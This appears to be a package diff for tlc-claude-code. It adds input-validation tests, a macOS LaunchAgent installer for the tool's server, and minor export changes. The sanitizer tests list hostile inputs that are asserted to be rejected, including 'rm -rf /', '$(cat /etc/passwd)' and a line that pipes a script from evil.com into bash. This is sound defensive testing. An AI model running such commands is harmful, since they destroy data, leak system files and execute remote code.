tlc-claude-code 2.0.1 → 2.2.0

package/server/lib/input-sanitizer.test.js

@@ -0,0 +1,117 @@
+import { describe, it, expect } from 'vitest';
+
+const { isValidDomain, isValidBranch, isValidRepoUrl, isValidUsername, isValidProjectName } = await import('./input-sanitizer.js');
+
+describe('Input Sanitizer', () => {
+  describe('isValidDomain', () => {
+    it('accepts valid domains', () => {
+      expect(isValidDomain('example.com')).toBe(true);
+      expect(isValidDomain('myapp.dev')).toBe(true);
+      expect(isValidDomain('sub.domain.example.com')).toBe(true);
+      expect(isValidDomain('a.io')).toBe(true);
+    });
+
+    it('rejects domains with shell metacharacters', () => {
+      expect(isValidDomain('example.com; rm -rf /')).toBe(false);
+      expect(isValidDomain('example.com`whoami`')).toBe(false);
+      expect(isValidDomain('example.com$(cat /etc/passwd)')).toBe(false);
+      expect(isValidDomain('example.com | curl evil.com')).toBe(false);
+    });
+
+    it('rejects nginx injection attempts', () => {
+      expect(isValidDomain('myapp.dev; include /etc/passwd;')).toBe(false);
+      expect(isValidDomain('myapp.dev\nserver_name evil.com')).toBe(false);
+    });
+
+    it('rejects empty/null/undefined', () => {
+      expect(isValidDomain('')).toBe(false);
+      expect(isValidDomain(null)).toBe(false);
+      expect(isValidDomain(undefined)).toBe(false);
+    });
+  });
+
+  describe('isValidBranch', () => {
+    it('accepts valid branch names', () => {
+      expect(isValidBranch('main')).toBe(true);
+      expect(isValidBranch('feature/login')).toBe(true);
+      expect(isValidBranch('fix-bug-123')).toBe(true);
+      expect(isValidBranch('release/v1.0.0')).toBe(true);
+    });
+
+    it('rejects branches with shell metacharacters', () => {
+      expect(isValidBranch('main; rm -rf /')).toBe(false);
+      expect(isValidBranch('main`whoami`')).toBe(false);
+      expect(isValidBranch('main$(cat /etc/passwd)')).toBe(false);
+      expect(isValidBranch('main | curl evil.com')).toBe(false);
+    });
+
+    it('rejects path traversal', () => {
+      expect(isValidBranch('../../../etc/passwd')).toBe(false);
+    });
+
+    it('rejects empty/null', () => {
+      expect(isValidBranch('')).toBe(false);
+      expect(isValidBranch(null)).toBe(false);
+    });
+  });
+
+  describe('isValidRepoUrl', () => {
+    it('accepts valid git URLs', () => {
+      expect(isValidRepoUrl('git@github.com:user/repo.git')).toBe(true);
+      expect(isValidRepoUrl('https://github.com/user/repo.git')).toBe(true);
+      expect(isValidRepoUrl('https://github.com/user/repo')).toBe(true);
+    });
+
+    it('rejects injection attempts', () => {
+      expect(isValidRepoUrl('; curl evil.com/shell.sh | bash;')).toBe(false);
+      expect(isValidRepoUrl('git@github.com:user/repo.git; rm -rf /')).toBe(false);
+      expect(isValidRepoUrl('$(whoami)')).toBe(false);
+    });
+
+    it('rejects empty/null', () => {
+      expect(isValidRepoUrl('')).toBe(false);
+      expect(isValidRepoUrl(null)).toBe(false);
+    });
+  });
+
+  describe('isValidUsername', () => {
+    it('accepts valid usernames', () => {
+      expect(isValidUsername('deploy')).toBe(true);
+      expect(isValidUsername('_admin')).toBe(true);
+      expect(isValidUsername('deploy-user')).toBe(true);
+    });
+
+    it('rejects injection attempts', () => {
+      expect(isValidUsername('deploy; rm -rf /')).toBe(false);
+      expect(isValidUsername('deploy`whoami`')).toBe(false);
+    });
+
+    it('rejects empty/null', () => {
+      expect(isValidUsername('')).toBe(false);
+      expect(isValidUsername(null)).toBe(false);
+    });
+  });
+
+  describe('isValidProjectName', () => {
+    it('accepts valid project names', () => {
+      expect(isValidProjectName('myapp')).toBe(true);
+      expect(isValidProjectName('my-app')).toBe(true);
+      expect(isValidProjectName('my_app.v2')).toBe(true);
+    });
+
+    it('rejects path traversal', () => {
+      expect(isValidProjectName('../etc/passwd')).toBe(false);
+      expect(isValidProjectName('foo/bar')).toBe(false);
+    });
+
+    it('rejects injection attempts', () => {
+      expect(isValidProjectName('myapp; rm -rf /')).toBe(false);
+      expect(isValidProjectName('myapp$(whoami)')).toBe(false);
+    });
+
+    it('rejects empty/null', () => {
+      expect(isValidProjectName('')).toBe(false);
+      expect(isValidProjectName(null)).toBe(false);
+    });
+  });
+});

package/server/lib/launchd-agent.js

@@ -0,0 +1,225 @@
+/**
+ * LaunchAgent plist generator for macOS.
+ *
+ * Generates, installs, and manages a macOS LaunchAgent that keeps
+ * the TLC server running permanently — auto-starts on login,
+ * auto-restarts on crash.
+ *
+ * @module launchd-agent
+ */
+
+const fs = require('fs');
+const path = require('path');
+const os = require('os');
+
+/** LaunchAgent label */
+const PLIST_LABEL = 'com.tlc.server';
+
+/** Default plist install location */
+const PLIST_PATH = path.join(os.homedir(), 'Library', 'LaunchAgents', `${PLIST_LABEL}.plist`);
+
+/**
+ * Generate a macOS LaunchAgent plist XML string.
+ *
+ * @param {object} opts
+ * @param {string} opts.projectRoot - Absolute path to the TLC project
+ * @param {number} [opts.port=3147] - Server port
+ * @returns {string} Valid XML plist
+ */
+function generatePlist(opts) {
+  const { projectRoot, port = 3147 } = opts;
+  const nodePath = process.execPath;
+  const serverScript = path.join(projectRoot, 'server', 'index.js');
+  const logDir = path.join(os.homedir(), '.tlc', 'logs');
+  const logFile = path.join(logDir, 'server.log');
+  const envPath = process.env.PATH || '/usr/local/bin:/usr/bin:/bin';
+
+  return `<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
+<plist version="1.0">
+<dict>
+  <key>Label</key>
+  <string>${PLIST_LABEL}</string>
+
+  <key>ProgramArguments</key>
+  <array>
+    <string>${nodePath}</string>
+    <string>${serverScript}</string>
+  </array>
+
+  <key>WorkingDirectory</key>
+  <string>${projectRoot}</string>
+
+  <key>EnvironmentVariables</key>
+  <dict>
+    <key>PATH</key>
+    <string>${envPath}</string>
+    <key>HOME</key>
+    <string>${os.homedir()}</string>
+    <key>NODE_ENV</key>
+    <string>development</string>
+    <key>TLC_PORT</key>
+    <string>${port}</string>
+  </dict>
+
+  <key>KeepAlive</key>
+  <true/>
+
+  <key>ThrottleInterval</key>
+  <integer>10</integer>
+
+  <key>StandardOutPath</key>
+  <string>${logFile}</string>
+
+  <key>StandardErrorPath</key>
+  <string>${logFile}</string>
+</dict>
+</plist>
+`;
+}
+
+/**
+ * Write the plist file to disk.
+ *
+ * @param {object} opts
+ * @param {string} opts.projectRoot - Absolute path to the TLC project
+ * @param {string} [opts.targetDir] - Override install directory (for testing)
+ * @param {number} [opts.port=3147] - Server port
+ */
+function installAgent(opts) {
+  const targetDir = opts.targetDir || path.join(os.homedir(), 'Library', 'LaunchAgents');
+  const plistPath = path.join(targetDir, `${PLIST_LABEL}.plist`);
+
+  // Ensure log directory exists
+  const logDir = path.join(os.homedir(), '.tlc', 'logs');
+  if (!fs.existsSync(logDir)) {
+    fs.mkdirSync(logDir, { recursive: true });
+  }
+
+  // Ensure target directory exists
+  if (!fs.existsSync(targetDir)) {
+    fs.mkdirSync(targetDir, { recursive: true });
+  }
+
+  const xml = generatePlist(opts);
+  fs.writeFileSync(plistPath, xml, 'utf-8');
+}
+
+/**
+ * Remove the plist file from disk.
+ *
+ * @param {object} [opts]
+ * @param {string} [opts.targetDir] - Override install directory (for testing)
+ */
+function uninstallAgent(opts = {}) {
+  const targetDir = opts.targetDir || path.join(os.homedir(), 'Library', 'LaunchAgents');
+  const plistPath = path.join(targetDir, `${PLIST_LABEL}.plist`);
+
+  if (fs.existsSync(plistPath)) {
+    fs.unlinkSync(plistPath);
+  }
+}
+
+/**
+ * Check if the plist file is installed.
+ *
+ * @param {object} [opts]
+ * @param {string} [opts.targetDir] - Override install directory (for testing)
+ * @returns {boolean}
+ */
+function isInstalled(opts = {}) {
+  const targetDir = opts.targetDir || path.join(os.homedir(), 'Library', 'LaunchAgents');
+  const plistPath = path.join(targetDir, `${PLIST_LABEL}.plist`);
+  return fs.existsSync(plistPath);
+}
+
+/**
+ * Load the agent into launchd.
+ *
+ * @param {object} [opts]
+ * @param {Function} [opts.exec] - Async exec function (for testing)
+ * @param {string} [opts.targetDir] - Override install directory
+ * @returns {Promise<{ok: boolean, error?: string}>}
+ */
+async function loadAgent(opts = {}) {
+  const exec = opts.exec || defaultExec;
+  const targetDir = opts.targetDir || path.join(os.homedir(), 'Library', 'LaunchAgents');
+  const plistPath = path.join(targetDir, `${PLIST_LABEL}.plist`);
+
+  try {
+    await exec(`launchctl load -w ${plistPath}`);
+    return { ok: true };
+  } catch (err) {
+    return { ok: false, error: err.message };
+  }
+}
+
+/**
+ * Unload the agent from launchd and remove the plist.
+ *
+ * @param {object} [opts]
+ * @param {Function} [opts.exec] - Async exec function (for testing)
+ * @param {string} [opts.targetDir] - Override install directory
+ * @returns {Promise<{ok: boolean, error?: string}>}
+ */
+async function unloadAgent(opts = {}) {
+  const exec = opts.exec || defaultExec;
+  const targetDir = opts.targetDir || path.join(os.homedir(), 'Library', 'LaunchAgents');
+  const plistPath = path.join(targetDir, `${PLIST_LABEL}.plist`);
+
+  try {
+    await exec(`launchctl unload ${plistPath}`);
+  } catch {
+    // Agent may not be loaded — that's fine
+  }
+
+  uninstallAgent({ targetDir });
+  return { ok: true };
+}
+
+/**
+ * Check if the agent is loaded in launchd.
+ *
+ * @param {object} [opts]
+ * @param {Function} [opts.exec] - Async exec function (for testing)
+ * @returns {Promise<{loaded: boolean, pid?: number}>}
+ */
+async function statusAgent(opts = {}) {
+  const exec = opts.exec || defaultExec;
+
+  try {
+    const { stdout } = await exec(`launchctl list ${PLIST_LABEL}`);
+    const parts = stdout.trim().split('\t');
+    const pid = parts[0] && parts[0] !== '-' ? parseInt(parts[0], 10) : null;
+    return { loaded: true, pid };
+  } catch {
+    return { loaded: false };
+  }
+}
+
+/**
+ * Default exec using child_process.
+ * @param {string} cmd
+ * @returns {Promise<{stdout: string, stderr: string}>}
+ */
+function defaultExec(cmd) {
+  const { exec } = require('child_process');
+  return new Promise((resolve, reject) => {
+    exec(cmd, (err, stdout, stderr) => {
+      if (err) return reject(err);
+      resolve({ stdout, stderr });
+    });
+  });
+}
+
+module.exports = {
+  generatePlist,
+  installAgent,
+  uninstallAgent,
+  isInstalled,
+  loadAgent,
+  unloadAgent,
+  statusAgent,
+  PLIST_LABEL,
+  PLIST_PATH,
+};

package/server/lib/launchd-agent.test.js

@@ -0,0 +1,185 @@
+/**
+ * LaunchAgent plist generator tests - Phase 83 Task 1
+ */
+
+import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest';
+import path from 'path';
+import os from 'os';
+import fs from 'fs';
+
+import {
+  generatePlist,
+  installAgent,
+  uninstallAgent,
+  isInstalled,
+  loadAgent,
+  unloadAgent,
+  statusAgent,
+  PLIST_LABEL,
+  PLIST_PATH,
+} from './launchd-agent.js';
+
+describe('launchd-agent', () => {
+  describe('generatePlist', () => {
+    it('returns valid XML with correct label', () => {
+      const xml = generatePlist({ projectRoot: '/Users/dev/myproject' });
+      expect(xml).toContain('<?xml version="1.0"');
+      expect(xml).toContain('<!DOCTYPE plist');
+      expect(xml).toContain('<string>com.tlc.server</string>');
+    });
+
+    it('includes KeepAlive and ThrottleInterval', () => {
+      const xml = generatePlist({ projectRoot: '/Users/dev/myproject' });
+      expect(xml).toContain('<key>KeepAlive</key>');
+      expect(xml).toContain('<true/>');
+      expect(xml).toContain('<key>ThrottleInterval</key>');
+      expect(xml).toContain('<integer>10</integer>');
+    });
+
+    it('sets WorkingDirectory to project root', () => {
+      const xml = generatePlist({ projectRoot: '/Users/dev/myproject' });
+      expect(xml).toContain('<key>WorkingDirectory</key>');
+      expect(xml).toContain('<string>/Users/dev/myproject</string>');
+    });
+
+    it('sets EnvironmentVariables including PATH and NODE_ENV', () => {
+      const xml = generatePlist({ projectRoot: '/Users/dev/myproject' });
+      expect(xml).toContain('<key>EnvironmentVariables</key>');
+      expect(xml).toContain('<key>NODE_ENV</key>');
+      expect(xml).toContain('<string>development</string>');
+      expect(xml).toContain('<key>PATH</key>');
+    });
+
+    it('uses absolute node path in ProgramArguments', () => {
+      const xml = generatePlist({ projectRoot: '/Users/dev/myproject' });
+      expect(xml).toContain('<key>ProgramArguments</key>');
+      // Should contain path to node and path to server/index.js
+      expect(xml).toContain('server/index.js');
+    });
+
+    it('sets log paths under ~/.tlc/logs/', () => {
+      const xml = generatePlist({ projectRoot: '/Users/dev/myproject' });
+      expect(xml).toContain('<key>StandardOutPath</key>');
+      expect(xml).toContain('<key>StandardErrorPath</key>');
+      expect(xml).toContain('.tlc/logs/server.log');
+    });
+
+    it('allows custom port via opts', () => {
+      const xml = generatePlist({ projectRoot: '/Users/dev/myproject', port: 4000 });
+      expect(xml).toContain('<key>TLC_PORT</key>');
+      expect(xml).toContain('<string>4000</string>');
+    });
+  });
+
+  describe('installAgent', () => {
+    let tmpDir;
+
+    beforeEach(() => {
+      tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), 'tlc-launchd-'));
+    });
+
+    afterEach(() => {
+      fs.rmSync(tmpDir, { recursive: true, force: true });
+    });
+
+    it('writes plist file to target directory', () => {
+      const plistPath = path.join(tmpDir, 'com.tlc.server.plist');
+      installAgent({ projectRoot: '/Users/dev/myproject', targetDir: tmpDir });
+      expect(fs.existsSync(plistPath)).toBe(true);
+      const content = fs.readFileSync(plistPath, 'utf-8');
+      expect(content).toContain('com.tlc.server');
+    });
+  });
+
+  describe('uninstallAgent', () => {
+    let tmpDir;
+
+    beforeEach(() => {
+      tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), 'tlc-launchd-'));
+    });
+
+    afterEach(() => {
+      fs.rmSync(tmpDir, { recursive: true, force: true });
+    });
+
+    it('removes plist file', () => {
+      const plistPath = path.join(tmpDir, 'com.tlc.server.plist');
+      fs.writeFileSync(plistPath, '<plist/>');
+      uninstallAgent({ targetDir: tmpDir });
+      expect(fs.existsSync(plistPath)).toBe(false);
+    });
+  });
+
+  describe('isInstalled', () => {
+    let tmpDir;
+
+    beforeEach(() => {
+      tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), 'tlc-launchd-'));
+    });
+
+    afterEach(() => {
+      fs.rmSync(tmpDir, { recursive: true, force: true });
+    });
+
+    it('returns true when plist exists', () => {
+      fs.writeFileSync(path.join(tmpDir, 'com.tlc.server.plist'), '<plist/>');
+      expect(isInstalled({ targetDir: tmpDir })).toBe(true);
+    });
+
+    it('returns false when plist does not exist', () => {
+      expect(isInstalled({ targetDir: tmpDir })).toBe(false);
+    });
+  });
+
+  describe('loadAgent', () => {
+    it('calls launchctl load with correct path', async () => {
+      const mockExec = vi.fn().mockResolvedValue({ stdout: '', stderr: '' });
+      const result = await loadAgent({ exec: mockExec, targetDir: '/tmp/agents' });
+      expect(mockExec).toHaveBeenCalledWith(
+        expect.stringContaining('launchctl load'),
+      );
+      expect(mockExec).toHaveBeenCalledWith(
+        expect.stringContaining('com.tlc.server.plist'),
+      );
+    });
+  });
+
+  describe('unloadAgent', () => {
+    it('calls launchctl unload then removes plist', async () => {
+      const tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), 'tlc-launchd-'));
+      const plistPath = path.join(tmpDir, 'com.tlc.server.plist');
+      fs.writeFileSync(plistPath, '<plist/>');
+
+      const mockExec = vi.fn().mockResolvedValue({ stdout: '', stderr: '' });
+      await unloadAgent({ exec: mockExec, targetDir: tmpDir });
+
+      expect(mockExec).toHaveBeenCalledWith(
+        expect.stringContaining('launchctl unload'),
+      );
+      expect(fs.existsSync(plistPath)).toBe(false);
+
+      fs.rmSync(tmpDir, { recursive: true, force: true });
+    });
+  });
+
+  describe('statusAgent', () => {
+    it('returns loaded when launchctl finds the agent', async () => {
+      const mockExec = vi.fn().mockResolvedValue({ stdout: '12345\t0\tcom.tlc.server', stderr: '' });
+      const result = await statusAgent({ exec: mockExec });
+      expect(result.loaded).toBe(true);
+      expect(result.pid).toBeDefined();
+    });
+
+    it('returns not loaded when launchctl does not find agent', async () => {
+      const mockExec = vi.fn().mockRejectedValue(new Error('Could not find service'));
+      const result = await statusAgent({ exec: mockExec });
+      expect(result.loaded).toBe(false);
+    });
+  });
+
+  describe('constants', () => {
+    it('exports correct plist label', () => {
+      expect(PLIST_LABEL).toBe('com.tlc.server');
+    });
+  });
+});

package/server/lib/memory-api.js

@@ -28,7 +28,7 @@
  * @param {object} deps.memoryStore - Memory store with list/get methods
  * @returns {object} Handler methods for each memory endpoint
  */
-export function createMemoryApi({ semanticRecall, vectorIndexer, richCapture, embeddingClient, memoryStore }) {
+function createMemoryApi({ semanticRecall, vectorIndexer, richCapture, embeddingClient, memoryStore }) {
 
   /**
    * Search memory semantically.
@@ -178,3 +178,5 @@ export function createMemoryApi({ semanticRecall, vectorIndexer, richCapture, em
     handleRemember,
   };
 }
+
+module.exports = { createMemoryApi };

package/server/lib/memory-api.test.js

@@ -1,6 +1,6 @@
 /**
  * @file memory-api.test.js
- * @description Tests for the Memory API endpoint handlers (Phase 74, Task 1).
+ * @description Tests for the Memory API endpoint handlers.
  *
  * Tests the factory function `createMemoryApi(deps)` which accepts injected
  * dependencies (semanticRecall, vectorIndexer, richCapture, embeddingClient,
@@ -11,7 +11,8 @@
  * routing is tested here.
  */
 import { describe, it, beforeEach, expect, vi } from 'vitest';
-import { createMemoryApi } from './memory-api.js';
+
+const { createMemoryApi } = await import('./memory-api.js');
 
 /**
  * Creates a mock Express request object.
@@ -294,7 +295,6 @@ describe('memory-api', () => {
     it('project filter works across endpoints', async () => {
       const projectId = 'proj-abc';
 
-      // Test project filter on conversations
       const convReq = createMockReq({ query: { project: projectId, page: '1', limit: '10' } });
       const convRes = createMockRes();
       await api.handleListConversations(convReq, convRes);
@@ -302,7 +302,6 @@ describe('memory-api', () => {
         expect.objectContaining({ project: projectId })
       );
 
-      // Test project filter on decisions
       const decReq = createMockReq({ query: { project: projectId } });
       const decRes = createMockRes();
       await api.handleListDecisions(decReq, decRes);
@@ -310,7 +309,6 @@ describe('memory-api', () => {
         expect.objectContaining({ project: projectId })
       );
 
-      // Test project filter on gotchas
       const gotReq = createMockReq({ query: { project: projectId } });
       const gotRes = createMockRes();
       await api.handleListGotchas(gotReq, gotRes);